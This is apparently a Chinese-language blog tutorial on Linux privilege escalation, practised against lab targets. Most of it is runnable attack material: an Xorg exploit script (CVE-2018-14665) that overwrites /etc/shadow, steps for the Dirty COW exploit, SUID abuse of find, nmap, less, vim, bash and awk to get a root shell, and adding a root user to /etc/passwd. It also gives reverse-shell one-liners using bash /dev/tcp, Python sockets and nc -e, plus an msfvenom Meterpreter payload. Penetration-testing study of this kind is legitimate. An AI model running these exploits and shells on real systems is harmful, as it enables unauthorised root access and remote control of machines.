Linux提权

权限提升

Linux提权

一键配环境

f8x集成环境

提权信息收集

信息收集脚本1

LinEnum

把文件上传到目标服务器内

解压

image-20240823111913527

绿色的表示有执行权限

可以按照参数来执行命令

也可以这样:

./LinEnum.sh >> 1.txt

把收集到的信息重定向到1.txt

image-20240823112537906

收集成功

信息收集脚本2

linuxprivchecker-master

这个脚本需要目标主机有python环境

image-20240823133639370

看到有py文件

同样的

python linuxprivchecker.py >> 2.txt

image-20240823133936998

收集成功

内核提权

提权流程

我们先看下这个命令

uname -r

image-20240823134231068

3.10.0-1160.el7.x86_64

3–>内核版本

10–>稳定版(技术开发版 偶数稳定版)

0–>补丁修补次数 这里是0次

后面的是具体详情

linux内核提权和windows的很像

需要漏洞

漏洞探测

把文件传到目标主机上

image-20240823135145239

看到有可执行文件

同样的 运行脚本

./linux-exploit-suggester.sh

image-20240823135455093

看到很多漏洞可以利用

image-20240823135605002

Details:漏洞详情 参考连接

Exposure: 攻击成功的可能性

  • highly probable 极有可能
  • probable 低可能
  • less probable 较不可能

Tags:漏洞影响的版本号

Download: 漏洞对应exp下载地址

Comment: 注释评论

linux-exploit-suggester-2的话会更简介一点

./linux-exploit-suggester-2.pl

image-20240823140630604

所以内核提权步骤:

信息收集收集对应的可提权的exp

下载exp

编译、运行

如果没找到对应exp

可以在漏洞数据库里找

漏洞数据库

或者github

这里我们用CVE-2018-14665试下

exp下载下载:

#!/bin/sh
echo Xorg x11 exploit
cd /etc
Xorg -fp 'root:0:99999:7:::' -logfile shadow :1 &
sleep 5
pkill Xorg
echo [+] hit enter for root
su root

失败了啊

image-20240823232728133

没关系 换一个CVE用就行

CVE-2016-0728一般不会用 会跑性能带宽

试下CVE-2014-0038呢

image-20240823233342856

看到要gcc编译一下

下载

image-20240823233410846

按他给的步骤试下

image-20240823235308809

失败了

应该是我centos的问题 可能换个靶机就成功了

总之流程就是这样

脏牛提权

CVE-2016-5195

脏牛提权也是内核提权的一种 但是一般都能提上去 而且任意linux都可以尝试脏牛提权

漏洞影响范围:Liunx kernel >= 2.6.22 的所有Linux系统

漏洞原理:在Linux内核的内存子系统处理私有只读内存映射的写时复制(COW)损坏的方式中发现了一种竞争状况。一个没有特权的本地用户可以使用此漏洞来获取对只读存储器映射的写访问权,从而增加他们在系统上的特权。

三种编译c形式:

gcc xxx.c -o xxx
make
gcc -pthread xxx.c -o xxx -lcrypt

现在我们打一下msf的靶机

msf靶机

默认账户:msfadmin
默认密码:msfadmin

现在我已经把找到的脏牛的exp放在了靶机上

image-20240824001925099

看到了dirty.c

gcc编译

image-20240824002038904

有执行权限

image-20240824002127973

运行

./dirty

image-20240824002209172

输入密码自定

他会帮我们创建一个新用户 权限是root

成功

image-20240824002533879

SUID提权

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。SUID可以让调用者以文件拥有者的身份运行该文件,通过调用root用户所拥有的suid文件,运行时我们就获得了root权限

我们还是来打msf靶机

image-20240824003403948

可以看到 红色文件名的文件有S权限

这就是suid文件

我们可以赋给文件S权限

chmod u+s dirty.c

image-20240824003624401

移除s权限

chmod u-s dirty.c

image-20240824003801340

在linux中有一些文件本身就是suid文件

所以:

suid文件查找:

以下命令将尝试查找具有root权限的SUID文件,不同系统适用于不同的命令,一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

image-20240824004010886

当然也可以用信息收集的东西

脚本梭哈

image-20240824004223263

有关键信息–suid文件地址

那我们怎么基于这些文件来提权呢

需要文件有这些关键字:

Nmap
Vim
find
Bash
More
Less
Nano
cp

netcat

exim

awk

没有就提权不了

找到一个nmap

image-20240824004705914

nmap需要执行一下命令

nmap --interactive 启动一个交互式的nmap

!sh

image-20240824005040531

提权成功

不同的文件提权方式是不同的

find

find 具有suid权限的filename -exec whoami ; -quit
#root

find 具有suid权限的filename -exec /bin/sh -p ; -quit
#whoami
#root

find 具有suid权限的filename -exec “/bin/bash” -p ; #whami #root

image-20240824010341257

image-20240825214945511

#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami ;

image-20240905185412641

反弹shell

靶机:

find user -exec nc -lvp 4444 -e ‘/bin/sh’ ;

kali:

nc 靶机ip 4444

靶机:

find 具有suid权限的filename -exec bash -c ‘bash -i >& /dev/tcp/ip/port 0>&1’ ;

kali:

nc -lvp port

image-20240905185619921

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip”,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

root的反弹shell

或者

/usr/bin/find 1.txt -exec python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip”,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ ;

image-20240905185742987

nmap

适用版本:nmap2.02至5.21

nmap –interactive

然后

nmap> !sh

sh-3.2# whoami
root

less/more

less和more一样

less /etc/passwd

!/bin/sh

image-20240905190254479

VISUAL=”/bin/sh -c ‘/bin/sh’” less /etc/profile
v

less /etc/profile
v:shell

也是可以进入交互界面然后写入shell的

sudo install -m =xs $(which less) .

./less file_to_read

如果二进制文件设置了 SUID 位,则它不会丢弃提升的权限,并且可能会被滥用来访问文件系统、升级或维护作为 SUID 后门的特权访问。如果它用于运行,则省略像 Debian (<= Stretch) 这样的系统上允许默认 shell 以 SUID 权限运行的参数。sh -p``-p``sh

此示例创建二进制文件的本地 SUID 副本并运行它以维护提升的权限。要与现有 SUID 二进制文件交互,请跳过第一个命令并使用其原始路径运行程序。

使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!命令进入shell。

nano

nano
ctrl + R
ctrl + X
#shell

cp/mv

whoami
#qszd

cat /etc/passwd

openssl passwd -1 -salt test testaaa

echo ‘test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh’ >> passwd

echo ‘test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh’ >> passwd

su - test

image-20240905190750878

vi/vim

vim.tiny /etc/passwd

:!/bin/sh

image-20240905190844714

bash

id
#uid=1024(qsdz) gid=999(qsdz) groups=999(qsdz)

bash -p
#生成一个 bash-3.2#

bash-3.2# id
#uid=1024(qsdz) gid=999(qsdz) euid=0(root) groups=999(qsdz)

awk

awk利用以下命令进入shell,其原理和上面的bash差不多

awk ‘BEGIN {system(“/bin/bash”)}’

bash-3.2$ whoami
#root

MSF提权

同样msf也可以进行linux的提取

msfvenom生成木马

这里的payload和之前的不一样

uname -r

看下版本信息

image-20240824010949832

表明x86和x64都可以用

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.172 LPORT=6363 -f elf -o shell.elf

image-20240824011300853

这样就生成了一个linux的木马

再传到目标主机上

image-20240824011408278

现在我们msf开一个监听

image-20240824011511907

目标主机执行

image-20240824011538176

上线

image-20240824011600289

不能直接上权限

先信息收集

image-20240824011802517

然后就是search CVE-2016-5195

慢慢打就行

当然也可以用这个模块

use post/multi/recon/local_exploit_suggester

会自动检查可以利用的漏洞